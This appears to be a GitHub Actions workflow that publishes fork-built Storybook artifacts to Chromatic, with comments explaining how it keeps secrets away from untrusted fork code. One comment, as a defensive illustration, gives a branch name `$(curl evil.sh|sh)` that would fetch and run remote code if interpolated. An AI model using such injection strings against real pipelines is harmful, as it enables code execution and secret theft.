Repository navigation
🎨 Chromatic Fork — Publish #69
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: 🎨 Chromatic Fork — Publish | |
| # ── Part 2 of 2: has the token, never runs fork code ──────────────────────── | |
| # | |
| # Triggered by "Chromatic Fork — Build" finishing. `workflow_run` workflows are | |
| # always taken from the default branch and run in the context of the base | |
| # repository, which is why this one can hold CHROMATIC_PROJECT_TOKEN safely. | |
| # | |
| # The rules that keep that safe, all of which matter: | |
| # | |
| # * Check out the BASE repo (default ref), never the PR head. Everything | |
| # executed here — bun install, the chromatic CLI — comes from trusted main. | |
| # * The only fork-derived input is the built Storybook artifact. It is | |
| # uploaded to Chromatic and rendered in *their* sandbox; it is never | |
| # executed in this runner. | |
| # * Untrusted strings (branch names, repo slugs) are passed through `env:` | |
| # and quoted, never interpolated straight into a `run:` block, where a | |
| # branch called `$(curl evil.sh|sh)` would otherwise execute. | |
| # | |
| # NOTE: workflow_run only fires for workflow files present on the DEFAULT | |
| # branch, so this has no effect until it is merged to main. | |
| on: | |
| workflow_run: | |
| workflows: ["🎨 Chromatic Fork — Build"] | |
| types: [completed] | |
| permissions: | |
| contents: read | |
| actions: read # required to download the artifact from the triggering run | |
| concurrency: | |
| group: chromatic-fork-publish-${{ github.event.workflow_run.head_sha }} | |
| cancel-in-progress: true | |
| jobs: | |
| publish: | |
| name: Visual regression (fork) | |
| runs-on: ubuntu-latest | |
| if: github.event.workflow_run.conclusion == 'success' | |
| steps: | |
| # Trusted code only: the default branch of this repo, not the PR head. | |
| - name: Checkout base repository | |
| uses: actions/checkout@v6 | |
| with: | |
| fetch-depth: 0 | |
| - name: Download Storybook built from the fork | |
| uses: actions/download-artifact@v8 | |
| with: | |
| name: storybook-static | |
| path: storybook-static | |
| run-id: ${{ github.event.workflow_run.id }} | |
| github-token: ${{ secrets.GITHUB_TOKEN }} | |
| # Chromatic resolves CHROMATIC_SHA against local git history to pick a | |
| # baseline. The fork's commit isn't in this clone, so fetch it. Without | |
| # this Chromatic still runs, but warns and loses commit ancestry. | |
| - name: Fetch the fork's commit for baseline ancestry | |
| env: | |
| FORK_SLUG: ${{ github.event.workflow_run.head_repository.full_name }} | |
| FORK_BRANCH: ${{ github.event.workflow_run.head_branch }} | |
| run: | | |
| git fetch --no-tags --depth=50 \ | |
| "https://github.com/${FORK_SLUG}.git" "${FORK_BRANCH}" || \ | |
| echo "Could not fetch fork ref; Chromatic will fall back to a shallow association." | |
| - name: Setup Bun | |
| uses: oven-sh/setup-bun@v2 | |
| # Installs from the base repo's package.json + bun.lock, not the fork's. | |
| - name: Install dependencies | |
| run: bun install | |
| - name: Publish to Chromatic | |
| env: | |
| # Chromatic reads these to attribute the build to the fork's PR | |
| # rather than to main. Verified against the CLI's own env handling. | |
| CHROMATIC_SHA: ${{ github.event.workflow_run.head_sha }} | |
| CHROMATIC_BRANCH: ${{ github.event.workflow_run.head_repository.full_name }}:${{ github.event.workflow_run.head_branch }} | |
| CHROMATIC_SLUG: ${{ github.event.workflow_run.head_repository.full_name }} | |
| CHROMATIC_PROJECT_TOKEN: ${{ secrets.CHROMATIC_PROJECT_TOKEN }} | |
| run: | | |
| bunx chromatic \ | |
| --storybook-build-dir storybook-static \ | |
| --exit-zero-on-changes |